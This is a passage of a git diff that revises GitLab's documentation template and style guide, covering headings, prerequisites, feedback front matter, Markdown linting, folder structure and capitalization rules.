Examples of use cases on feature pages:
+
- CE and EE: [Issues](../../user/project/issues/index.md#use-cases)
- CE and EE: [Merge Requests](../../user/project/merge_requests/index.md)
-- EE-only: [Geo](../../administration/geo/replication/index.md)
+- EE-only: [Geo](../../administration/geo/index.md)
- EE-only: [Jenkins integration](../../integration/jenkins.md)
-## Requirements
+## Prerequisites
-State any requirements for using the feature and/or following along with the instructions.
+State any prerequisites for using the feature. These might include:
-These can include both:
-- technical requirements (for example, an account on a third party service, an amount of storage space,
- prior configuration of another feature)
-- prerequisite knowledge (for example, familiarity with certain GitLab features, cloud technologies)
+- Technical prereqs (for example, an account on a third-party service, an amount
+ of storage space, or prior configuration of another feature)
+- Prerequisite knowledge (for example, familiarity with certain GitLab features
+ or other products and technologies).
Link each one to an appropriate place for more information.
-## Instructions
+## Tasks
-This is the part of the document where you can include one or more sets of instructions.
Each topic should help users accomplish a specific task.
-Headers should describe the task the reader will achieve by following the instructions within,
-typically starting with a verb. For example, `Create a package` or `Configure a pipeline`.
+The heading should:
+
+- Describe the task and start with a verb. For example, `Create a package` or
+ `Configure a pipeline`.
+- Be short and descriptive (up to ~50 chars).
+- Start from an `h2` (`##`), then go over `h3`, `h4`, `h5`, and `h6` as needed.
+ Never skip a hierarchy level (like `h2` > `h4`). It breaks the table of
+ contents and can affect the breadcrumbs.
-Larger instruction sets may have subsections covering specific phases of the process.
-Where appropriate, provide examples of code or configuration files to better clarify
-intended usage.
+Bigger tasks can have subsections that explain specific phases of the process.
-- Write a step-by-step guide, with no gaps between the steps.
-- Include example code or configurations as part of the relevant step.
- Use appropriate Markdown to wrap code blocks with
- [syntax highlighting](../../user/markdown.md#colored-code-and-syntax-highlighting).
-- Start with an h2 (`##`), break complex steps into small steps using
- subheadings h3 > h4 > h5 > h6. _Never skip a hierarchy level, such
- as h2 > h4_, as it will break the TOC and may affect the breadcrumbs.
-- Use short and descriptive headings (up to ~50 chars). You can use one
- single heading like `## Configure X` for instructions when the feature
- is simple and the document is short.
+Include example code or configurations when needed. Use Markdown to wrap code
+blocks with [syntax highlighting](../../user/markdown.md#colored-code-and-syntax-highlighting).
Example topic:
## Create a teddy bear
-Start by writing a sentence or two about _why_ someone would want to perform this task.
-It's not always possible, but is a good practice. For example:
-
-Create a teddy bear when you need something to hug.
-
-Follow this information with the task steps.
+Create a teddy bear when you need something to hug. (Include the reason why you
+might do the task.)
To create a teddy bear:
@@ -142,40 +136,40 @@ To create a teddy bear:
1. Expand **This** and click **This**.
1. Do another step.
-After the numbered list, add a sentence with the expected result, if it
-is not obvious, and any next steps. For example:
-
-The teddy bear is now in the kitchen, in the cupboard above the sink.
+The teddy bear is now in the kitchen, in the cupboard above the sink. _(This is the result.)_
-You can retrieve the teddy bear and put it on the couch with the other animals.
+You can retrieve the teddy bear and put it on the couch with the other animals. _(These are next steps.)_
-Screenshots are not necessary. They are difficult to keep up-to-date and can clutter the page.
+Screenshots are not necessary. They are difficult to keep up-to-date and can
+clutter the page.
<!-- ## Troubleshooting
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
+Include any troubleshooting steps that you can foresee. If you know beforehand
+what issues one might have when setting this up, or when something is changed,
+or on upgrading, it's important to describe those, too. Think of things that may
+go wrong and include them here. This is important to minimize requests for
+Support, and to avoid documentation comments with questions that you know
+someone might ask.
Each scenario can be a third-level heading, for example, `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+If you have none to add when creating a doc, leave this section in place but
+commented out to help encourage others to add to it in the future. -->
---
Notes:
-- (1): Apply the [tier badges](styleguide.md#product-badges) accordingly
+- (1): Apply the [tier badges](styleguide.md#product-badges) accordingly.
- (2): Apply the correct format for the
- [GitLab version that introduces the feature](styleguide.md#gitlab-versions-and-tiers)
+ [GitLab version that introduces the feature](styleguide.md#gitlab-versions-and-tiers).
```
## Help and feedback section
-The "help and feedback" section (introduced by [!319](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/319)) displayed at the end of each document
-can be omitted from the doc by adding a key into the its front matter:
+This section ([introduced](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/319) in GitLab 11.4)
+is displayed at the end of each document and can be omitted by adding a key into
+the front matter:
```yaml
---
@@ -183,8 +177,8 @@ feedback: false
---
```
-The default is to leave it there. If you want to omit it from a document,
-you must check with a technical writer before doing so.
+The default is to leave it there. If you want to omit it from a document, you
+must check with a technical writer before doing so.
### Disqus
@@ -192,8 +186,8 @@ We also have integrated the docs site with Disqus (introduced by
[!151](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/151)),
allowing our users to post comments.
-To omit only the comments from the feedback section, use the following
-key on the front matter:
+To omit only the comments from the feedback section, use the following key in
+the front matter:
```yaml
---
@@ -201,36 +195,42 @@ comments: false
---
```
-We are only hiding comments in main index pages, such as [the main documentation index](../../README.md), since its content is too broad to comment on. Before omitting Disqus,
-you must check with a technical writer.
+We're hiding comments only in main index pages, such as [the main documentation index](../../README.md),
+since its content is too broad to comment on. Before omitting Disqus, you must
+check with a technical writer.
-Note that once `feedback: false` is added to the front matter, it will automatically omit
+Note that after adding `feedback: false` to the front matter, it will omit
Disqus, therefore, don't add both keys to the same document.
-The click events in the feedback section are tracked with Google Tag Manager. The
-conversions can be viewed on Google Analytics by navigating to **Behavior > Events > Top events > docs**.
+The click events in the feedback section are tracked with Google Tag Manager.
+The conversions can be viewed on Google Analytics by navigating to
+**Behavior > Events > Top events > docs**.
## Guidelines for good practices
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36576/) in GitLab 13.2 as GitLab Development documentation.
-"Good practice" examples demonstrate encouraged ways of writing code while comparing with examples of practices to avoid.
-These examples are labeled as "Bad" or "Good".
-In GitLab development guidelines, when presenting the cases, it is recommended
-to follow a **first-bad-then-good** strategy. First demonstrate the "Bad" practice (how things _could_ be done, which is often still working code),
-and then how things _should_ be done better, using a "Good" example. This is typically an improved example of the same code.
+*Good practice* examples demonstrate encouraged ways of writing code while
+comparing with examples of practices to avoid. These examples are labeled as
+*Bad* or *Good*. In GitLab development guidelines, when presenting the cases,
+it's recommended to follow a *first-bad-then-good* strategy. First demonstrate
+the *Bad* practice (how things *could* be done, which is often still working
+code), and then how things *should* be done better, using a *Good* example. This
+is typically an improved example of the same code.
Consider the following guidelines when offering examples:
-- First, offer the "Bad" example, then the "Good" one.
+- First, offer the *Bad* example, and then the *Good* one.
- When only one bad case and one good case is given, use the same code block.
-- When more than one bad case or one good case is offered, use separated code blocks for each.
-With many examples being presented, a clear separation helps the reader to go directly to the good part.
-Consider offering an explanation (for example, a comment, a link to a resource, etc.) on why something is bad practice.
+- When more than one bad case or one good case is offered, use separated code
+ blocks for each. With many examples being presented, a clear separation helps
+ the reader to go directly to the good part. Consider offering an explanation
+ (for example, a comment, or a link to a resource) on why something is bad
+ practice.
- Better and best cases can be considered part of the good case(s) code block.
-In the same code block, precede each with comments: `# Better` and `# Best`.
+ In the same code block, precede each with comments: `# Better` and `# Best`.
NOTE: **Note:**
-While the bad-then-good approach is acceptable for the GitLab development guidelines, do not use it
-for user documentation. For user documentation, use "Do" and "Don't." For example, see the
-[Pajamas Design System](https://design.gitlab.com/content/punctuation/).
+Although the bad-then-good approach is acceptable for the GitLab development
+guidelines, do not use it for user documentation. For user documentation, use
+*Do* and *Don't*. For examples, see the [Pajamas Design System](https://design.gitlab.com/content/punctuation/).
diff --git a/doc/development/documentation/styleguide.md b/doc/development/documentation/styleguide.md
index c252f6425d0..984c64b9e9e 100644
--- a/doc/development/documentation/styleguide.md
+++ b/doc/development/documentation/styleguide.md
@@ -1,69 +1,109 @@
---
+stage: none
+group: Style Guide
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
description: 'Writing styles, markup, formatting, and other standards for GitLab Documentation.'
---
# Documentation Style Guide
-This document defines the standards for GitLab's documentation content and files.
+This document defines the standards for GitLab's documentation content and
+files.
For broader information about the documentation, see the [Documentation guidelines](index.md).
-For programmatic help adhering to the guidelines, see [Testing](index.md#testing).
+For guidelines specific to text in the GitLab interface, see the Pajamas [Content](https://design.gitlab.com/content/error-messages) section.
-See the GitLab handbook for further [writing style guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines)
-that apply to all GitLab content, not just documentation.
+For information on how to validate styles locally or by using GitLab CI/CD, see [Testing](index.md#testing).
-View [a list of recent style guide updates](https://gitlab.com/dashboard/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=tw-style&not[label_name][]=docs%3A%3Afix).
+Use this guide for standards on grammar, formatting, word usage, and more.
+
+You can also view a list of [recent updates to this guide](https://gitlab.com/dashboard/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=tw-style&not[label_name][]=docs%3A%3Afix).
+
+If you can't find what you need:
+
+- View the GitLab Handbook for [writing style guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines) that apply to all GitLab content.
+- Refer to one of the following:
+
+ - [Microsoft Style Guide](https://docs.microsoft.com/en-us/style-guide/).
+ - [Google Developer Documentation Style Guide](https://developers.google.com/style).
+
+If you have questions about style, mention `@tw-style` in an issue or merge request, or, if you have access to the GitLab Slack workspace, use `#docs-process`.
## Documentation is the single source of truth (SSOT)
### Why a single source of truth
-The documentation of GitLab products and features is the SSOT for all information related to implementation, usage, and troubleshooting. It evolves continuously, in keeping with new products and features, and with improvements for clarity, accuracy, and completeness.
+The documentation of GitLab products and features is the SSOT for all
+information related to implementation, usage, and troubleshooting. It evolves
+continuously, in keeping with new products and features, and with improvements
+for clarity, accuracy, and completeness.
-This policy prevents information silos, making it easier to find information about GitLab products.
+This policy prevents information silos, making it easier to find information
+about GitLab products.
-It also informs decisions about the kinds of content we include in our documentation.
+It also informs decisions about the kinds of content we include in our
+documentation.
### All information
-Include problem-solving actions that may address rare cases or be considered 'risky', so long as proper context is provided in the form of fully detailed warnings and caveats. This kind of content should be included as it could be helpful to others and, when properly explained, its benefits outweigh the risks. If you think you have found an exception to this rule, contact the Technical Writing team.
+Include problem-solving actions that may address rare cases or be considered
+*risky*, so long as proper context is provided in the form of fully detailed
+warnings and caveats. This kind of content should be included as it could be
+helpful to others and, when properly explained, its benefits outweigh the risks.
+If you think you have found an exception to this rule, contact the
+Technical Writing team.
-We will add all troubleshooting information to the documentation, no matter how unlikely a user is to encounter a situation.
-For the [Troubleshooting sections](#troubleshooting), people in GitLab Support can merge additions themselves.
+We will add all troubleshooting information to the documentation, no matter how
+unlikely a user is to encounter a situation. For the [Troubleshooting sections](#troubleshooting),
+people in GitLab Support can merge additions themselves.
### All media types
-Include any media types/sources if the content is relevant to readers. You can freely include or link presentations, diagrams, videos, and so on; no matter who it was originally composed for, if it is helpful to any of our audiences, we can include it.
+Include any media types/sources if the content is relevant to readers. You can
+freely include or link presentations, diagrams, videos, and so on; no matter who
+it was originally composed for, if it is helpful to any of our audiences, we can
+include it.
-- If you use an image that has a separate source file (for example, a vector or diagram format), link the image to the source file so that it may be reused or updated by anyone.
-- Do not copy and paste content from other sources unless it is a limited quotation with the source cited. Typically it is better to either rephrase relevant information in your own words or link out to the other source.
+- If you use an image that has a separate source file (for example, a vector or
+ diagram format), link the image to the source file so that it may be reused or
+ updated by anyone.
+- Do not copy and paste content from other sources unless it is a limited
+ quotation with the source cited. Typically it is better to either rephrase
+ relevant information in your own words or link out to the other source.
### No special types
-In the software industry, it is a best practice to organize documentation in different types. For example, [Divio recommends](https://www.divio.com/blog/documentation/):
+In the software industry, it is a best practice to organize documentation in
+different types. For example, [Divio recommends](https://www.divio.com/blog/documentation/):
-1. Tutorials
-1. How-to guides
-1. Explanation
-1. Reference (for example, a glossary)
+- Tutorials
+- How-to guides
+- Explanation
+- Reference (for example, a glossary)
-At GitLab, we have so many product changes in our monthly releases that we can't afford to continuously update multiple types of information.
-If we have multiple types, the information will become outdated. Therefore, we have a [single template](structure.md) for documentation.
+At GitLab, we have so many product changes in our monthly releases that we can't
+afford to continuously update multiple types of information. If we have multiple
+types, the information will become outdated. Therefore, we have a
+[single template](structure.md) for documentation.
-We currently do not distinguish specific document types, although we are open to reconsidering this policy
-once the documentation has reached a future stage of maturity and quality. If you are reading this, then despite our
-continuous improvement efforts, that point hasn't been reached.
+We currently do not distinguish specific document types, although we are open to
+reconsidering this policy after the documentation has reached a future stage of
+maturity and quality. If you are reading this, then despite our continuous
+improvement efforts, that point hasn't been reached.
### Link instead of summarize
-There is a temptation to summarize the information on another page.
-This will cause the information to live in two places.
-Instead, link to the SSOT and explain why it is important to consume the information.
+There is a temptation to summarize the information on another page. This will
+cause the information to live in two places. Instead, link to the single source
+of truth and explain why it is important to consume the information.
### Organize by topic, not by type
-Beyond top-level audience-type folders (for example, `administration`), we organize content by topic, not by type, so it can be located as easily as possible within the single-source-of-truth (SSOT) section for the subject matter.
+Beyond top-level audience-type folders (for example, `administration`), we
+organize content by topic, not by type, so it can be located as easily as
+possible within the single-source-of-truth (SSOT) section for the subject
+matter.
For example, do not create groupings of similar media types. For example:
@@ -71,46 +111,69 @@ For example, do not create groupings of similar media types. For example:
- FAQs.
- Sets of all articles or videos.
-Such grouping of content by type makes
-it difficult to browse for the information you need and difficult to maintain up-to-date content.
-Instead, organize content by its subject (for example, everything related to CI goes together)
-and cross-link between any related content.
+Such grouping of content by type makes it difficult to browse for the information
+you need and difficult to maintain up-to-date content. Instead, organize content
+by its subject (for example, everything related to CI goes together) and
+cross-link between any related content.
### Docs-first methodology
-We employ a **docs-first methodology** to help ensure the docs remain a complete and trusted resource, and to make communicating about the use of GitLab more efficient.
+We employ a *documentation-first methodology* to help ensure the documentation
+remains a complete and trusted resource, and to make communicating about the use
+of GitLab more efficient.
-- If the answer to a question exists in documentation, share the link to the docs instead of rephrasing the information.
-- When you encounter new information not available in GitLab’s documentation (for example, when working on a support case or testing a feature), your first step should be to create a merge request (MR) to add this information to the docs. You can then share the MR in order to communicate this information.
+- If the answer to a question exists in documentation, share the link to the
+ documentation instead of rephrasing the information.
+- When you encounter new information not available in GitLab’s documentation (for
+ example, when working on a support case or testing a feature), your first step
+ should be to create a merge request (MR) to add this information to the
+ documentation. You can then share the MR in order to communicate this
+ information.
-New information that would be useful toward the future usage or troubleshooting of GitLab should not be written directly in a forum or other messaging system, but added to a docs MR and then referenced, as described above. Note that among any other doc changes, you can either:
+New information that would be useful toward the future usage or troubleshooting
+of GitLab should not be written directly in a forum or other messaging system,
+but added to a documentation MR and then referenced, as described above. Note
+that among any other documentation changes, you can either:
- Add a [Troubleshooting section](#troubleshooting) to a doc if none exists.
-- Un-comment and use the placeholder Troubleshooting section included as part of our [doc template](structure.md#template-for-new-docs), if present.
+- Un-comment and use the placeholder Troubleshooting section included as part of
+ our [documentation template](structure.md#template-for-new-docs), if present.
-The more we reflexively add useful information to the docs, the more (and more successfully) the docs will be used to efficiently accomplish tasks and solve problems.
+The more we reflexively add useful information to the documentation, the more
+(and more successfully) the documentation will be used to efficiently accomplish
+tasks and solve problems.
-If you have questions when considering, authoring, or editing docs, ask the Technical Writing team on Slack in `#docs` or in GitLab by mentioning the writer for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages). Otherwise, forge ahead with your best effort. It does not need to be perfect; the team is happy to review and improve upon your content. Please review the [Documentation guidelines](index.md) before you begin your first documentation MR.
+If you have questions when considering, authoring, or editing documentation, ask
+the Technical Writing team on Slack in `#docs` or in GitLab by mentioning the
+writer for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages).
+Otherwise, forge ahead with your best effort. It does not need to be perfect;
+the team is happy to review and improve upon your content. Please review the
+[Documentation guidelines](index.md) before you begin your first documentation MR.
-Having a knowledge base in any form that is separate from the documentation would be against the docs-first methodology because the content would overlap with the documentation.
+Having a knowledge base in any form that is separate from the documentation would
+be against the documentation-first methodology because the content would overlap with
+the documentation.
## Markdown
All GitLab documentation is written using [Markdown](https://en.wikipedia.org/wiki/Markdown).
-The [documentation website](https://docs.gitlab.com) uses GitLab Kramdown as its Markdown rendering engine. For a complete Kramdown reference, see the [GitLab Markdown Kramdown Guide](https://about.gitlab.com/handbook/markdown-guide/).
+The [documentation website](https://docs.gitlab.com) uses GitLab Kramdown as its
+Markdown rendering engine. For a complete Kramdown reference, see the
+[GitLab Markdown Kramdown Guide](https://about.gitlab.com/handbook/markdown-guide/).
-The [`gitlab-kramdown`](https://gitlab.com/gitlab-org/gitlab_kramdown)
-Ruby gem will support all [GFM markup](../../user/markdown.md) in the future. That is,
-all markup supported for display in the GitLab application itself. For now,
-use regular Markdown markup, following the rules in the linked style guide.
+The [`gitlab-kramdown`](https://gitlab.com/gitlab-org/gitlab_kramdown) Ruby gem
+will support all [GFM markup](../../user/markdown.md) in the future. That is,
+all markup supported for display in the GitLab application itself. For now, use
+regular Markdown markup, following the rules in the linked style guide.
-Note that Kramdown-specific markup (for example, `{:.class}`) will not render properly on GitLab instances under [`/help`](index.md#gitlab-help).
+Note that Kramdown-specific markup (for example, `{:.class}`) will not render
+properly on GitLab instances under [`/help`](index.md#gitlab-help).
### HTML in Markdown
-Hard-coded HTML is valid, although it's discouraged from being used while we have `/help`.
-HTML is permitted as long as:
+Hard-coded HTML is valid, although it's discouraged from being used while we
+have `/help`. HTML is permitted as long as:
- There's no equivalent markup in Markdown.
- Advanced tables are necessary.
@@ -120,23 +183,23 @@ HTML is permitted as long as:
### Markdown Rules
GitLab ensures that the Markdown used across all documentation is consistent, as
-well as easy to review and maintain, by [testing documentation changes](index.md#testing) with
-[markdownlint](index.md#markdownlint). This lint test fails when any document has an issue
-with Markdown formatting that may cause the page to render incorrectly within GitLab.
-It will also fail when a document is using non-standard Markdown (which may render
-correctly, but is not the current standard for GitLab documentation).
+well as easy to review and maintain, by [testing documentation changes](index.md#testing)
+with [markdownlint](index.md#markdownlint). This lint test fails when any
+document has an issue with Markdown formatting that may cause the page to render
+incorrectly within GitLab. It will also fail when a document is using
+non-standard Markdown (which may render correctly, but is not the current
+standard for GitLab documentation).
#### Markdown rule `MD044/proper-names` (capitalization)
-A rule that could cause confusion is `MD044/proper-names`, as it might not be immediately
-clear what caused markdownlint to fail, or how to correct the failure. This rule
-checks a list of known words, listed in the `.markdownlint.json` file in each project,
-to verify proper use of capitalization and backticks. Words in backticks will
-be ignored by markdownlint.
+A rule that could cause confusion is `MD044/proper-names`, as it might not be
+immediately clear what caused markdownlint to fail, or how to correct the
+failure. This rule checks a list of known words, listed in the `.markdownlint.json`
+file in each project, to verify proper use of capitalization and backticks.
+Words in backticks will be ignored by markdownlint.
-In general, product names should follow the exact capitalization of the official names
-of the products, protocols, and so on.
-See [`.markdownlint.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.markdownlint.json)
+In general, product names should follow the exact capitalization of the official
+names of the products, protocols, and so on. See [`.markdownlint.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.markdownlint.json)
for the words tested for proper capitalization in GitLab documentation.
Some examples fail if incorrect capitalization is used:
@@ -145,60 +208,66 @@ Some examples fail if incorrect capitalization is used:
- NGINX (needs all capitals)
- runit (needs lowercase `r`)
-Additionally, commands, parameters, values, filenames, and so on must be included in backticks.
-For example:
+Additionally, commands, parameters, values, filenames, and so on must be
+included in backticks. For example:
- "Change the `needs` keyword in your `.gitlab.yml`..."
- - `needs` is a parameter, and `.gitlab.yml` is a file, so both need backticks. Additionally,
- `.gitlab.yml` will fail markdownlint without backticks as it does not have capital G or L.
+ - `needs` is a parameter, and `.gitlab.yml` is a file, so both need backticks.
+ Additionally, `.gitlab.yml` will fail markdownlint without backticks as it
+ does not have capital G or L.
- "Run `git clone` to clone a Git repository..."
- - `git clone` is a command, so it must be lowercase, while Git is the product, so
- it must have a capital G.
+ - `git clone` is a command, so it must be lowercase, while Git is the product,
+ so it must have a capital G.
## Structure
-Because we want documentation to be a SSOT, we should [organize by topic, not by type](#organize-by-topic-not-by-type).
+Because we want documentation to be a SSOT, we should [organize by topic, not by
+type](#organize-by-topic-not-by-type).
### Folder structure overview
The documentation is separated by top-level audience folders [`user`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/user),
-[`administration`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/administration), and [`development`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/development) (contributing) folders.
+[`administration`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/administration),
+and [`development`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/development)
+(contributing) folders.
-Beyond that, we primarily follow the structure of the GitLab user interface or API.
+Beyond that, we primarily follow the structure of the GitLab user interface or
+API.
-Our goal is to have a clear hierarchical structure with meaningful URLs
-like `docs.gitlab.com/user/project/merge_requests/`. With this pattern,
-you can immediately tell that you are navigating to user-related documentation
-about Project features; specifically about Merge Requests. Our site's paths match
+Our goal is to have a clear hierarchical structure with meaningful URLs like
+`docs.gitlab.com/user/project/merge_requests/`. With this pattern, you can
+immediately tell that you are navigating to user-related documentation about
+Project features; specifically about Merge Requests. Our site's paths match
those of our repository, so the clear structure also makes documentation easier to update.
The table below shows what kind of documentation goes where.
-| Directory | What belongs here |
-|:----------------------|:---------------------------------------------------------------------------------------------------------------------------------|
-| `doc/user/` | User related documentation. Anything that can be done within the GitLab UI goes here, including usage of the `/admin` interface. |
+| Directory | What belongs here |
+|:----------------------|:----------------------------------------------------------------------------------------------------------------------------------------|
+| `doc/user/` | User related documentation. Anything that can be done within the GitLab user interface goes here, including usage of the `/admin` interface. |
| `doc/administration/` | Documentation that requires the user to have access to the server where GitLab is installed. The admin settings that can be accessed via GitLab's interface exist under `doc/user/admin_area/`. |
-| `doc/api/` | API related documentation. |
-| `doc/development/` | Documentation related to the development of GitLab, whether contributing code or docs. Related process and style guides should go here. |
-| `doc/legal/` | Legal documents about contributing to GitLab. |
-| `doc/install/` | Contains instructions for installing GitLab. |
-| `doc/update/` | Contains instructions for updating GitLab. |
-| `doc/topics/` | Indexes per topic (`doc/topics/topic-name/index.md`): all resources for that topic. |
+| `doc/api/` | API related documentation. |
+| `doc/development/` | Documentation related to the development of GitLab, whether contributing code or documentation. Related process and style guides should go here. |
+| `doc/legal/` | Legal documents about contributing to GitLab. |
+| `doc/install/` | Contains instructions for installing GitLab. |
+| `doc/update/` | Contains instructions for updating GitLab. |
+| `doc/topics/` | Indexes per topic (`doc/topics/topic-name/index.md`): all resources for that topic. |
### Work with directories and files
1. When you create a new directory, always start with an `index.md` file.
- Do not use another file name and **do not** create `README.md` files.
-1. **Do not** use special characters and spaces, or capital letters in file names,
- directory names, branch names, and anything that generates a path.
-1. When creating a new document and it has more than one word in its name,
- make sure to use underscores instead of spaces or dashes (`-`). For example,
- a proper naming would be `import_projects_from_github.md`. The same rule
- applies to images.
+ Do not use another file name and *do not* create `README.md` files.
+1. *Do not* use special characters and spaces, or capital letters in file
+ names, directory names, branch names, and anything that generates a path.
+1. When creating or renaming a file or directory and it has more than one word
+ in its name, use underscores (`_`) instead of spaces or dashes. For example,
+ proper naming would be `import_project/import_from_github.md`. This applies
+ to both image files and Markdown files.
1. For image files, do not exceed 100KB.
1. Do not upload video files to the product repositories.
[Link or embed videos](#videos) instead.
-1. There are four main directories, `user`, `administration`, `api` and `development`.
+1. There are four main directories: `user`, `administration`, `api`, and
+ `development`.
1. The `doc/user/` directory has five main subdirectories: `project/`, `group/`,
`profile/`, `dashboard/` and `admin_area/`.
1. `doc/user/project/` should contain all project related documentation.
@@ -216,34 +285,43 @@ The table below shows what kind of documentation goes where.
the **Visibility and Access Controls** category should have a document
located at `doc/user/admin_area/settings/visibility_and_access_controls.md`.
1. The `doc/topics/` directory holds topic-related technical content. Create
- `doc/topics/topic-name/subtopic-name/index.md` when subtopics become necessary.
+ `doc/topics/topic_name/subtopic_name/index.md` when subtopics become necessary.
General user- and admin- related documentation, should be placed accordingly.
-1. The directories `/workflow/`, `/university/`, and `/articles/` have
- been **deprecated** and the majority their docs have been moved to their correct location
- in small iterations.
+1. The directories `/workflow/`, `/university/`, and `/articles/` have been
+ *deprecated* and the majority their documentation has been moved to their
+ correct location in small iterations.
-If you are unsure where a document or a content addition should live, this should
+If you are unsure where to place a document or a content addition, this should
not stop you from authoring and contributing. You can use your best judgment and
-then ask the reviewer of your MR to confirm your decision, and/or ask a technical writer
-at any stage in the process. The technical writing team will review all documentation
-changes, regardless, and can move content if there is a better place for it.
+then ask the reviewer of your MR to confirm your decision, and/or ask a
+technical writer at any stage in the process. The technical writing team will
+review all documentation changes, regardless, and can move content if there is a
+better place for it.
### Avoid duplication
-Do not include the same information in multiple places. [Link to a SSOT instead.](#link-instead-of-summarize)
+Do not include the same information in multiple places.
+[Link to a single source of truth instead.](#link-instead-of-summarize)
### References across documents
-- Give each folder an index.md page that introduces the topic, introduces the pages within, and links to the pages within (including to the index pages of any next-level subpaths).
-- To ensure discoverability, ensure each new or renamed doc is linked from its higher-level index page and other related pages.
-- When making reference to other GitLab products and features, link to their respective docs, at least on first mention.
-- When making reference to third-party products or technologies, link out to their external sites, documentation, and resources.
+- Give each folder an `index.md` page that introduces the topic, introduces the
+ pages within, and links to the pages within (including to the index pages of
+ any next-level subpaths).
+- To ensure discoverability, ensure each new or renamed doc is linked from its
+ higher-level index page and other related pages.
+- When making reference to other GitLab products and features, link to their
+ respective documentation, at least on first mention.
+- When making reference to third-party products or technologies, link out to
+ their external sites, documentation, and resources.
### Structure within documents
-- Include any and all applicable subsections as described on the [structure and template](structure.md) page.
-- Structure content in alphabetical order in tables, lists, and so on, unless there is
- a logical reason not to (for example, when mirroring the UI or an otherwise ordered sequence).
+- Include any and all applicable subsections as described on the
+ [structure and template](structure.md) page.
+- Structure content in alphabetical order in tables, lists, and so on, unless
+ there's a logical reason not to (for example, when mirroring the user
+ interface or an otherwise ordered sequence).
## Language
@@ -255,9 +333,9 @@ GitLab documentation should be clear and easy to understand.
### Point of view
-In most cases, it’s appropriate to use the second-person (you, yours) point of view,
-because it’s friendly and easy to understand.
-(Tested in [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml).)
+In most cases, it’s appropriate to use the second-person (you, yours) point of
+view, because it’s friendly and easy to understand. (Tested in
+[`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml).)
<!-- How do we harmonize the second person in Pajamas with our first person plural in our doc guide? -->
@@ -272,16 +350,18 @@ Use sentence case. For example:
#### UI text
-When referring to specific user interface text, like a button label or menu item, use the same capitalization that is displayed in the UI.
-Standards for this content are listed in the [Pajamas Design System Content section](https://design.gitlab.com/content/punctuation/) and typically
-match what is called for in this Documentation Style Guide.
+When referring to specific user interface text, like a button label or menu
+item, use the same capitalization that is displayed in the user interface.
+Standards for this content are listed in the [Pajamas Design System Content section](https://design.gitlab.com/content/punctuation/)
+and typically match what is called for in this Documentation Style Guide.
-If you think there is a mistake in the way the UI text is styled,
-create an issue or an MR to propose a change to the UI text.
+If you think there is a mistake in the way the user interface text is styled,
+create an issue or an MR to propose a change to the user interface text.
#### Feature names
-- **Feature names are typically lowercase**, like those describing actions and types of objects in GitLab. For example:
+- *Feature names are typically lowercase*, like those describing actions and
+ types of objects in GitLab. For example:
- epics
- issues
- issue weights
@@ -289,7 +369,9 @@ create an issue or an MR to propose a change to the UI text.
- milestones
- reorder issues
- runner, runners, shared runners
-- **Some features are capitalized**, typically nouns naming GitLab-specific capabilities or tools. For example:
+ - a to-do, to-dos
+- *Some features are capitalized*, typically nouns naming GitLab-specific
+ capabilities or tools. For example:
- GitLab CI/CD
- Repository Mirroring
- Value Stream Analytics
@@ -298,48 +380,67 @@ create an issue or an MR to propose a change to the UI text.
- Geo
- GitLab Runner (see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/233529) for details)
-Document any exceptions in this style guide. If you're not sure, ask a GitLab Technical Writer so that they can help decide and document the result.
+Document any exceptions in this style guide. If you're not sure, ask a GitLab
+Technical Writer so that they can help decide and document the result.
-Do not match the capitalization of terms or phrases on the [Features page](https://about.gitlab.com/features/) or [features.yml](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/features.yml) by default.
+Do not match the capitalization of terms or phrases on the [Features page](https://about.gitlab.com/features/)
+or [features.yml](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/features.yml)
+by default.
#### Other terms
Capitalize names of:
-- GitLab [product tiers](https://about.gitlab.com/pricing/). For example, GitLab Core
- and GitLab Ultimate. (Tested in [`BadgeCapitalization.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/BadgeCapitalization.yml).)
-- Third-party organizations, software, and products. For example, Prometheus, Kubernetes, Git, and The Linux Foundation.
-- Methods or methodologies. For example, Continuous Integration, Continuous Deployment, Scrum, and Agile. (Tested in [`.markdownlint.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.markdownlint.json).)
+- GitLab [product tiers](https://about.gitlab.com/pricing/). For example,
+ GitLab Core and GitLab Ultimate. (Tested in [`BadgeCapitalization.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/BadgeCapitalization.yml).)
+- Third-party organizations, software, and products. For example, Prometheus,
+ Kubernetes, Git, and The Linux Foundation.
+- Methods or methodologies. For example, Continuous Integration,
